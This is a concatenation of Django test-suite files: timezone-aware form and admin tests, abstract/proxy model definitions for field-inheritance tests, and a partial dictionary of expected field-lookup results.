class NewFormsTests(TestCase):

    @requires_tz_support
    def test_form(self):
        form = EventForm({'dt': '2011-09-01 13:20:30'})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))

    def test_form_with_other_timezone(self):
        form = EventForm({'dt': '2011-09-01 17:20:30'})
        with timezone.override(ICT):
            self.assertTrue(form.is_valid())
            self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))

    def test_form_with_explicit_timezone(self):
        form = EventForm({'dt': '2011-09-01 17:20:30+07:00'})
        # Datetime inputs formats don't allow providing a time zone.
        self.assertFalse(form.is_valid())

    @requires_pytz
    def test_form_with_non_existent_time(self):
        with timezone.override(pytz.timezone('Europe/Paris')):
            form = EventForm({'dt': '2011-03-27 02:30:00'})
            self.assertFalse(form.is_valid())
            self.assertEqual(
                form.errors['dt'], [
                    "2011-03-27 02:30:00 couldn't be interpreted in time zone "
                    "Europe/Paris; it may be ambiguous or it may not exist."
                ]
            )

    @requires_pytz
    def test_form_with_ambiguous_time(self):
        with timezone.override(pytz.timezone('Europe/Paris')):
            form = EventForm({'dt': '2011-10-30 02:30:00'})
            self.assertFalse(form.is_valid())
            self.assertEqual(
                form.errors['dt'], [
                    "2011-10-30 02:30:00 couldn't be interpreted in time zone "
                    "Europe/Paris; it may be ambiguous or it may not exist."
                ]
            )

    @requires_tz_support
    def test_split_form(self):
        form = EventSplitForm({'dt_0': '2011-09-01', 'dt_1': '13:20:30'})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))

    @requires_tz_support
    def test_localized_form(self):
        form = EventLocalizedForm(initial={'dt': datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)})
        with timezone.override(ICT):
            self.assertIn("2011-09-01 17:20:30", str(form))

    @requires_tz_support
    def test_model_form(self):
        EventModelForm({'dt': '2011-09-01 13:20:30'}).save()
        e = Event.objects.get()
        self.assertEqual(e.dt, datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))

    @requires_tz_support
    def test_localized_model_form(self):
        form = EventLocalizedModelForm(instance=Event(dt=datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)))
        with timezone.override(ICT):
            self.assertIn("2011-09-01 17:20:30", str(form))


@override_settings(
    DATETIME_FORMAT='c',
    TIME_ZONE='Africa/Nairobi',
    USE_L10N=False,
    USE_TZ=True,
    ROOT_URLCONF='timezones.urls',
)
class AdminTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(
            password='secret',
            last_login=datetime.datetime(2007, 5, 30, 13, 20, 10, tzinfo=UTC),
            is_superuser=True, username='super', first_name='Super', last_name='User',
            email='super@example.com', is_staff=True, is_active=True,
            date_joined=datetime.datetime(2007, 5, 30, 13, 20, 10, tzinfo=UTC),
        )

    def setUp(self):
        self.client.force_login(self.u1)

    @requires_tz_support
    def test_changelist(self):
        e = Event.objects.create(dt=datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))
        response = self.client.get(reverse('admin_tz:timezones_event_changelist'))
        self.assertContains(response, e.dt.astimezone(EAT).isoformat())

    def test_changelist_in_other_timezone(self):
        e = Event.objects.create(dt=datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))
        with timezone.override(ICT):
            response = self.client.get(reverse('admin_tz:timezones_event_changelist'))
        self.assertContains(response, e.dt.astimezone(ICT).isoformat())

    @requires_tz_support
    def test_change_editable(self):
        e = Event.objects.create(dt=datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))
        response = self.client.get(reverse('admin_tz:timezones_event_change', args=(e.pk,)))
        self.assertContains(response, e.dt.astimezone(EAT).date().isoformat())
        self.assertContains(response, e.dt.astimezone(EAT).time().isoformat())

    def test_change_editable_in_other_timezone(self):
        e = Event.objects.create(dt=datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC))
        with timezone.override(ICT):
            response = self.client.get(reverse('admin_tz:timezones_event_change', args=(e.pk,)))
        self.assertContains(response, e.dt.astimezone(ICT).date().isoformat())
        self.assertContains(response, e.dt.astimezone(ICT).time().isoformat())

    @requires_tz_support
    def test_change_readonly(self):
        Timestamp.objects.create()
        # re-fetch the object for backends that lose microseconds (MySQL)
        t = Timestamp.objects.get()
        response = self.client.get(reverse('admin_tz:timezones_timestamp_change', args=(t.pk,)))
        self.assertContains(response, t.created.astimezone(EAT).isoformat())

    def test_change_readonly_in_other_timezone(self):
        Timestamp.objects.create()
        # re-fetch the object for backends that lose microseconds (MySQL)
        t = Timestamp.objects.get()
        with timezone.override(ICT):
            response = self.client.get(reverse('admin_tz:timezones_timestamp_change', args=(t.pk,)))
        self.assertContains(response, t.created.astimezone(ICT).isoformat())






from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models


class Relation(models.Model):
    pass


class AbstractPerson(models.Model):
    # DATA fields
    data_abstract = models.CharField(max_length=10)
    fk_abstract = models.ForeignKey(Relation, models.CASCADE, related_name='fk_abstract_rel')

    # M2M fields
    m2m_abstract = models.ManyToManyField(Relation, related_name='m2m_abstract_rel')
    friends_abstract = models.ManyToManyField('self', related_name='friends_abstract', symmetrical=True)
    following_abstract = models.ManyToManyField('self', related_name='followers_abstract', symmetrical=False)

    # VIRTUAL fields
    data_not_concrete_abstract = models.ForeignObject(
        Relation,
        on_delete=models.CASCADE,
        from_fields=['abstract_non_concrete_id'],
        to_fields=['id'],
        related_name='fo_abstract_rel',
    )

    # GFK fields
    content_type_abstract = models.ForeignKey(ContentType, models.CASCADE, related_name='+')
    object_id_abstract = models.PositiveIntegerField()
    content_object_abstract = GenericForeignKey('content_type_abstract', 'object_id_abstract')

    # GR fields
    generic_relation_abstract = GenericRelation(Relation)

    class Meta:
        abstract = True


class BasePerson(AbstractPerson):
    # DATA fields
    data_base = models.CharField(max_length=10)
    fk_base = models.ForeignKey(Relation, models.CASCADE, related_name='fk_base_rel')

    # M2M fields
    m2m_base = models.ManyToManyField(Relation, related_name='m2m_base_rel')
    friends_base = models.ManyToManyField('self', related_name='friends_base', symmetrical=True)
    following_base = models.ManyToManyField('self', related_name='followers_base', symmetrical=False)

    # VIRTUAL fields
    data_not_concrete_base = models.ForeignObject(
        Relation,
        on_delete=models.CASCADE,
        from_fields=['base_non_concrete_id'],
        to_fields=['id'],
        related_name='fo_base_rel',
    )

    # GFK fields
    content_type_base = models.ForeignKey(ContentType, models.CASCADE, related_name='+')
    object_id_base = models.PositiveIntegerField()
    content_object_base = GenericForeignKey('content_type_base', 'object_id_base')

    # GR fields
    generic_relation_base = GenericRelation(Relation)


class Person(BasePerson):
    # DATA fields
    data_inherited = models.CharField(max_length=10)
    fk_inherited = models.ForeignKey(Relation, models.CASCADE, related_name='fk_concrete_rel')

    # M2M Fields
    m2m_inherited = models.ManyToManyField(Relation, related_name='m2m_concrete_rel')
    friends_inherited = models.ManyToManyField('self', related_name='friends_concrete', symmetrical=True)
    following_inherited = models.ManyToManyField('self', related_name='followers_concrete', symmetrical=False)

    # VIRTUAL fields
    data_not_concrete_inherited = models.ForeignObject(
        Relation,
        on_delete=models.CASCADE,
        from_fields=['model_non_concrete_id'],
        to_fields=['id'],
        related_name='fo_concrete_rel',
    )

    # GFK fields
    content_type_concrete = models.ForeignKey(ContentType, models.CASCADE, related_name='+')
    object_id_concrete = models.PositiveIntegerField()
    content_object_concrete = GenericForeignKey('content_type_concrete', 'object_id_concrete')

    # GR fields
    generic_relation_concrete = GenericRelation(Relation)


class ProxyPerson(Person):
    class Meta:
        proxy = True


class PersonThroughProxySubclass(ProxyPerson):
    pass


class Relating(models.Model):

    # ForeignKey to BasePerson
    baseperson = models.ForeignKey(BasePerson, models.CASCADE, related_name='relating_baseperson')
    baseperson_hidden = models.ForeignKey(BasePerson, models.CASCADE, related_name='+')

    # ForeignKey to Person
    person = models.ForeignKey(Person, models.CASCADE, related_name='relating_person')
    person_hidden = models.ForeignKey(Person, models.CASCADE, related_name='+')

    # ForeignKey to ProxyPerson
    proxyperson = models.ForeignKey(ProxyPerson, models.CASCADE, related_name='relating_proxyperson')
    proxyperson_hidden = models.ForeignKey(ProxyPerson, models.CASCADE, related_name='relating_proxyperson_hidden+')

    # ManyToManyField to BasePerson
    basepeople = models.ManyToManyField(BasePerson, related_name='relating_basepeople')
    basepeople_hidden = models.ManyToManyField(BasePerson, related_name='+')

    # ManyToManyField to Person
    people = models.ManyToManyField(Person, related_name='relating_people')
    people_hidden = models.ManyToManyField(Person, related_name='+')


# ParentListTests models
class CommonAncestor(models.Model):
    pass


class FirstParent(CommonAncestor):
    first_ancestor = models.OneToOneField(CommonAncestor, models.SET_NULL, primary_key=True, parent_link=True)


class SecondParent(CommonAncestor):
    second_ancestor = models.OneToOneField(CommonAncestor, models.SET_NULL, primary_key=True, parent_link=True)


class Child(FirstParent, SecondParent):
    pass






from .models import (
    AbstractPerson, BasePerson, Person, ProxyPerson, Relating, Relation,
)

TEST_RESULTS = {
    'get_all_field_names': {
        Person: [
            'baseperson_ptr',
            'baseperson_ptr_id',
            'content_type_abstract',
            'content_type_abstract_id',
            'content_type_base',
            'content_type_base_id',
            'content_type_concrete',
            'content_type_concrete_id',
            'data_abstract',
            'data_base',
            'data_inherited',
            'data_not_concrete_abstract',
            'data_not_concrete_base',
            'data_not_concrete_inherited',
            'fk_abstract',
            'fk_abstract_id',
            'fk_base',
            'fk_base_id',
            'fk_inherited',
            'fk_inherited_id',
            'followers_abstract',
            'followers_base',
            'followers_concrete',
            'following_abstract',
            'following_base',
            'following_inherited',
            'friends_abstract',
            'friends_base',
            'friends_inherited',
            'generic_relation_abstract',
            'generic_relation_base',
            'generic_relation_concrete',
            'id',
            'm2m_abstract',
            'm2m_base',
            'm2m_inherited',
            'object_id_abstract',
            'object_id_base',
            'object_id_concrete',
            'relating_basepeople',
            'relating_baseperson',
            'relating_people',
            'relating_person',
        ],
        BasePerson: [
            'content_type_abstract',
            'content_type_abstract_id',
            'content_type_base',
            'content_type_base_id',
            'data_abstract',
            'data_base',
            'data_not_concrete_abstract',
            'data_not_concrete_base',
            'fk_abstract',
            'fk_abstract_id',
            'fk_base',
            'fk_base_id',
            'followers_abstract',
            'followers_base',
            'following_abstract',
            'following_base',
            'friends_abstract',
            'friends_base',
            'generic_relation_abstract',
            'generic_relation_base',
            'id',
            'm2m_abstract',
            'm2m_base',
            'object_id_abstract',
            'object_id_base',
            'person',
            'relating_basepeople',
            'relating_baseperson'
        ],
        AbstractPerson: [
            'content_type_abstract',
            'content_type_abstract_id',
            'data_abstract',
            'data_not_concrete_abstract',
            'fk_abstract',
            'fk_abstract_id',
            'following_abstract',
            'friends_abstract',
            'generic_relation_abstract',
            'm2m_abstract',
            'object_id_abstract',
        ],
        Relating: [
            'basepeople',
            'basepeople_hidden',
            'baseperson',
            'baseperson_hidden',
            'baseperson_hidden_id',
            'baseperson_id',
            'id',
            'people',
            'people_hidden',
            'person',
            'person_hidden',
            'person_hidden_id',
            'person_id',
            'proxyperson',
            'proxyperson_hidden',
            'proxyperson_hidden_id',
            'proxyperson_id',
        ],
    },
    'fields': {
        Person: [
            'id',
            'data_abstract',
            'fk_abstract_id',
            'data_not_concrete_abstract',
            'content_type_abstract_id',
            'object_id_abstract',
            'data_base',
            'fk_base_id',
            'data_not_concrete_base',
            'content_type_base_id',
            'object_id_base',
            'baseperson_ptr_id',
            'data_inherited',
            'fk_inherited_id',
            'data_not_concrete_inherited',
            'content_type_concrete_id',
            'object_id_concrete',
        ],
        BasePerson: [
            'id',
            'data_abstract',
            'fk_abstract_id',
            'data_not_concrete_abstract',
            'content_type_abstract_id',
            'object_id_abstract',
            'data_base',
            'fk_base_id',
            'data_not_concrete_base',
            'content_type_base_id',
            'object_id_base',
        ],
        AbstractPerson: [
            'data_abstract',
            'fk_abstract_id',
            'data_not_concrete_abstract',
            'content_type_abstract_id',
            'object_id_abstract',
        ],
        Relating: [
            'id',
            'baseperson_id',
            'baseperson_hidden_id',
            'person_id',
            'person_hidden_id',
            'proxyperson_id',
            'proxyperson_hidden_id',
        ],
    },
    'local_fields': {
        Person: [
            'baseperson_ptr_id',
            'data_inherited',
            'fk_inherited_id',
            'data_not_concrete_inherited',
            'content_type_concrete_id',
            'object_id_concrete',
        ],
        BasePerson: [
            'id',
            'data_abstract',
            'fk_abstract_id',
            'data_not_concrete_abstract',
            'content_type_abstract_id',
            'object_id_abstract',
            'data_base',
            'fk_base_id',
            'data_not_concrete_base',
            'content_type_base_id',
            'object_id_base',
        ],
        AbstractPerson: [
            'data_abstract',
            'fk_abstract_id',
            'data_not_concrete_abstract',
            'content_type_abstract_id',
            'object_id_abstract',
        ],
        Relating: [
            'id',
            'baseperson_id',
            'baseperson_hidden_id',
            'person_id',
            'person_hidden_id',
            'proxyperson_id',
            'proxyperson_hidden_id',
        ],
    },
    'local_concrete_fields': {
        Person: [
            'baseperson_ptr_id',
            'data_inherited',
            'fk_inherited_id',
            'content_type_concrete_id',
            'object_id_concrete',
        ],
        BasePerson: [
            'id',
            'data_abstract',
            'fk_abstract_id',
            'content_type_abstract_id',
            'object_id_abstract',
            'data_base',
            'fk_base_id',
            'content_type_base_id',
            'object_id_base',
        ],
        AbstractPerson: [
            'data_abstract',
            'fk_abstract_id',
            'content_type_abstract_id',
            'object_id_abstract',
        ],
        Relating: [
            'id',
            'baseperson_id',
            'baseperson_hidden_id',
            'person_id',
            'person_hidden_id',
            'proxyperson_id',
            'proxyperson_hidden_id',
        ],
    },
    'many_to_many': {
        Person: [
            'm2m_abstract',
            'friends_abstract',
            'following_abstract',
            'm2m_base',
            'friends_base',
            'following_base',
            'm2m_inherited',
            'friends_inherited',
            'following_inherited',
        ],
        BasePerson: [
            'm2m_abstract',
            'friends_abstract',
            'following_abstract',
            'm2m_base',
            'friends_base',
            'following_base',
        ],
        AbstractPerson: [
            'm2m_abstract',
            'friends_abstract',
            'following_abstract',
        ],
        Relating: [
            'basepeople',
            'basepeople_hidden',
            'people',
            'people_hidden',
        ],
    },
    'many_to_many_with_model': {
        Person: [
            BasePerson,
            BasePerson,
            BasePerson,
            BasePerson,
            BasePerson,
            BasePerson,
            None,
            None,
            None,
        ],
        BasePerson: [
            None,
            None,
            None,
            None,
            None,
            None,
        ],
        AbstractPerson: [
            None,
            None,
            None,
        ],
        Relating: [
            None,
            None,
            None,
            None,
        ],
    },
    'get_all_related_objects_with_model_legacy': {
        Person: (
            ('relating_baseperson', BasePerson),
            ('relating_person', None),
        ),
        BasePerson: (
            ('person', None),
            ('relating_baseperson', None),
        ),
        Relation: (
            ('fk_abstract_rel', None),
            ('fo_abstract_rel', None),
            ('fk_base_rel', None),
            ('fo_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_hidden_local': {
        Person: (
            ('+', None),
            ('_relating_people_hidden_+', None),
            ('Person_following_inherited+', None),
            ('Person_following_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_m2m_inherited+', None),
            ('Relating_people+', None),
            ('Relating_people_hidden+', None),
            ('followers_concrete', None),
            ('friends_inherited_rel_+', None),
            ('personthroughproxysubclass', None),
            ('relating_people', None),
            ('relating_person', None),
            ('relating_proxyperson', None),
            ('relating_proxyperson_hidden+', None),
        ),
        ProxyPerson: (
            ('+', Person),
            ('_relating_people_hidden_+', Person),
            ('Person_following_inherited+', Person),
            ('Person_following_inherited+', Person),
            ('Person_friends_inherited+', Person),
            ('Person_friends_inherited+', Person),
            ('Person_m2m_inherited+', Person),
            ('Relating_people+', Person),
            ('Relating_people_hidden+', Person),
            ('followers_concrete', Person),
            ('friends_inherited_rel_+', Person),
            ('personthroughproxysubclass', Person),
            ('relating_people', Person),
            ('relating_person', Person),
            ('relating_proxyperson', Person),
            ('relating_proxyperson_hidden+', Person),
        ),
        BasePerson: (
            ('+', None),
            ('_relating_basepeople_hidden_+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Relating_basepeople+', None),
            ('Relating_basepeople_hidden+', None),
            ('followers_abstract', None),
            ('followers_base', None),
            ('friends_abstract_rel_+', None),
            ('friends_base_rel_+', None),
            ('person', None),
            ('relating_basepeople', None),
            ('relating_baseperson', None),
        ),
        Relation: (
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Person_m2m_inherited+', None),
            ('fk_abstract_rel', None),
            ('fk_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_abstract_rel', None),
            ('fo_base_rel', None),
            ('fo_concrete_rel', None),
            ('m2m_abstract_rel', None),
            ('m2m_base_rel', None),
            ('m2m_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_hidden': {
        Person: (
            ('+', BasePerson),
            ('+', None),
            ('_relating_basepeople_hidden_+', BasePerson),
            ('_relating_people_hidden_+', None),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_m2m_abstract+', BasePerson),
            ('BasePerson_m2m_base+', BasePerson),
            ('Person_following_inherited+', None),
            ('Person_following_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_m2m_inherited+', None),
            ('Relating_basepeople+', BasePerson),
            ('Relating_basepeople_hidden+', BasePerson),
            ('Relating_people+', None),
            ('Relating_people_hidden+', None),
            ('followers_abstract', BasePerson),
            ('followers_base', BasePerson),
            ('followers_concrete', None),
            ('friends_abstract_rel_+', BasePerson),
            ('friends_base_rel_+', BasePerson),
            ('friends_inherited_rel_+', None),
            ('personthroughproxysubclass', None),
            ('relating_basepeople', BasePerson),
            ('relating_baseperson', BasePerson),
            ('relating_people', None),
            ('relating_person', None),
            ('relating_proxyperson', None),
            ('relating_proxyperson_hidden+', None),
        ),
        ProxyPerson: (
            ('+', BasePerson),
            ('+', Person),
            ('_relating_basepeople_hidden_+', BasePerson),
            ('_relating_people_hidden_+', Person),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_m2m_abstract+', BasePerson),
            ('BasePerson_m2m_base+', BasePerson),
            ('Person_following_inherited+', Person),
            ('Person_following_inherited+', Person),
            ('Person_friends_inherited+', Person),
            ('Person_friends_inherited+', Person),
            ('Person_m2m_inherited+', Person),
            ('Relating_basepeople+', BasePerson),
            ('Relating_basepeople_hidden+', BasePerson),
            ('Relating_people+', Person),
            ('Relating_people_hidden+', Person),
            ('followers_abstract', BasePerson),
            ('followers_base', BasePerson),
            ('followers_concrete', Person),
            ('friends_abstract_rel_+', BasePerson),
            ('friends_base_rel_+', BasePerson),
            ('friends_inherited_rel_+', Person),
            ('personthroughproxysubclass', Person),
            ('relating_basepeople', BasePerson),
            ('relating_baseperson', BasePerson),
            ('relating_people', Person),
            ('relating_person', Person),
            ('relating_proxyperson', Person),
            ('relating_proxyperson_hidden+', Person),
        ),
        BasePerson: (
            ('+', None),
            ('_relating_basepeople_hidden_+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Relating_basepeople+', None),
            ('Relating_basepeople_hidden+', None),
            ('followers_abstract', None),
            ('followers_base', None),
            ('friends_abstract_rel_+', None),
            ('friends_base_rel_+', None),
            ('person', None),
            ('relating_basepeople', None),
            ('relating_baseperson', None),
        ),
        Relation: (
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Person_m2m_inherited+', None),
            ('fk_abstract_rel', None),
            ('fk_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_abstract_rel', None),
            ('fo_base_rel', None),
            ('fo_concrete_rel', None),
            ('m2m_abstract_rel', None),
            ('m2m_base_rel', None),
            ('m2m_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_local': {
        Person: (
            ('followers_concrete', None),
            ('personthroughproxysubclass', None),
            ('relating_person', None),
            ('relating_people', None),
            ('relating_proxyperson', None),
        ),
        ProxyPerson: (
            ('followers_concrete', Person),
            ('personthroughproxysubclass', Person),
            ('relating_person', Person),
            ('relating_people', Person),
            ('relating_proxyperson', Person),
        ),
        BasePerson: (
            ('followers_abstract', None),
            ('followers_base', None),
            ('person', None),
            ('relating_baseperson', None),
            ('relating_basepeople', None),
        ),
        Relation: (
            ('fk_abstract_rel', None),
            ('fo_abstract_rel', None),
            ('fk_base_rel', None),
            ('fo_base_rel', None),
            ('m2m_abstract_rel', None),
            ('m2m_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_concrete_rel', None),
            ('m2m_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model': {
        Person: (
            ('followers_abstract', BasePerson),
            ('followers_base', BasePerson),
            ('relating_baseperson', BasePerson),
            ('relating_basepeople', BasePerson),
            ('followers_concrete', None),
            ('personthroughproxysubclass', None),
            ('relating_person', None),
            ('relating_people', None),
            ('relating_proxyperson', None),
        ),
        ProxyPerson: (
            ('followers_abstract', BasePerson),
            ('followers_base', BasePerson),
            ('relating_baseperson', BasePerson),
            ('relating_basepeople', BasePerson),
            ('followers_concrete', Person),
            ('personthroughproxysubclass', Person),
            ('relating_person', Person),
            ('relating_people', Person),
            ('relating_proxyperson', Person),
        ),
        BasePerson: (
            ('followers_abstract', None),
            ('followers_base', None),
            ('person', None),
            ('relating_baseperson', None),
            ('relating_basepeople', None),
        ),
        Relation: (
            ('fk_abstract_rel', None),
            ('fo_abstract_rel', None),
            ('fk_base_rel', None),
            ('fo_base_rel', None),
            ('m2m_abstract_rel', None),
            ('m2m_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_concrete_rel', None),
            ('m2m_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_local_legacy': {
        Person: (
            ('relating_person', None),
        ),
        BasePerson: (
            ('person', None),
            ('relating_baseperson', None)
        ),
        Relation: (
            ('fk_abstract_rel', None),
            ('fo_abstract_rel', None),
            ('fk_base_rel', None),
            ('fo_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_hidden_legacy': {
        BasePerson: (
            ('+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Relating_basepeople+', None),
            ('Relating_basepeople_hidden+', None),
            ('person', None),
            ('relating_baseperson', None),
        ),
        Person: (
            ('+', BasePerson),
            ('+', None),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_m2m_abstract+', BasePerson),
            ('BasePerson_m2m_base+', BasePerson),
            ('Person_following_inherited+', None),
            ('Person_following_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_m2m_inherited+', None),
            ('Relating_basepeople+', BasePerson),
            ('Relating_basepeople_hidden+', BasePerson),
            ('Relating_people+', None),
            ('Relating_people_hidden+', None),
            ('relating_baseperson', BasePerson),
            ('relating_person', None),
        ),
        Relation: (
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Person_m2m_inherited+', None),
            ('fk_abstract_rel', None),
            ('fk_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_abstract_rel', None),
            ('fo_base_rel', None),
            ('fo_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_hidden_local_legacy': {
        BasePerson: (
            ('+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Relating_basepeople+', None),
            ('Relating_basepeople_hidden+', None),
            ('person', None),
            ('relating_baseperson', None),
        ),
        Person: (
            ('+', None),
            ('Person_following_inherited+', None),
            ('Person_following_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_m2m_inherited+', None),
            ('Relating_people+', None),
            ('Relating_people_hidden+', None),
            ('relating_person', None),
        ),
        Relation: (
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Person_m2m_inherited+', None),
            ('fk_abstract_rel', None),
            ('fk_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_abstract_rel', None),
            ('fo_base_rel', None),
            ('fo_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_proxy_legacy': {
        BasePerson: (
            ('person', None),
            ('relating_baseperson', None),
        ),
        Person: (
            ('relating_baseperson', BasePerson),
            ('relating_person', None), ('relating_proxyperson', None),
        ),
        Relation: (
            ('fk_abstract_rel', None), ('fo_abstract_rel', None),
            ('fk_base_rel', None), ('fo_base_rel', None),
            ('fk_concrete_rel', None), ('fo_concrete_rel', None),
        ),
    },
    'get_all_related_objects_with_model_proxy_hidden_legacy': {
        BasePerson: (
            ('+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_abstract+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_following_base+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_abstract+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_friends_base+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Relating_basepeople+', None),
            ('Relating_basepeople_hidden+', None),
            ('person', None),
            ('relating_baseperson', None),
        ),
        Person: (
            ('+', BasePerson),
            ('+', None),
            ('+', None),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_abstract+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_following_base+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_abstract+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_friends_base+', BasePerson),
            ('BasePerson_m2m_abstract+', BasePerson),
            ('BasePerson_m2m_base+', BasePerson),
            ('Person_following_inherited+', None),
            ('Person_following_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_friends_inherited+', None),
            ('Person_m2m_inherited+', None),
            ('Relating_basepeople+', BasePerson),
            ('Relating_basepeople_hidden+', BasePerson),
            ('Relating_people+', None),
            ('Relating_people_hidden+', None),
            ('relating_baseperson', BasePerson),
            ('relating_person', None),
            ('relating_proxyperson', None),
        ),
        Relation: (
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('+', None),
            ('BasePerson_m2m_abstract+', None),
            ('BasePerson_m2m_base+', None),
            ('Person_m2m_inherited+', None),
            ('fk_abstract_rel', None),
            ('fk_base_rel', None),
            ('fk_concrete_rel', None),
            ('fo_abstract_rel', None),
            ('fo_base_rel', None),
            ('fo_concrete_rel', None),
        ),
    },
    'get_all_related_many_to_many_with_model_legacy': {
        BasePerson: (
            ('friends_abstract_rel_+', None),
            ('followers_abstract', None),
            ('friends_base_rel_+', None),
            ('followers_base', None),
            ('relating_basepeople', None),
            ('_relating_basepeople_hidden_+', None),
        ),
        Person: (
            ('friends_abstract_rel_+', BasePerson),
            ('followers_abstract', BasePerson),
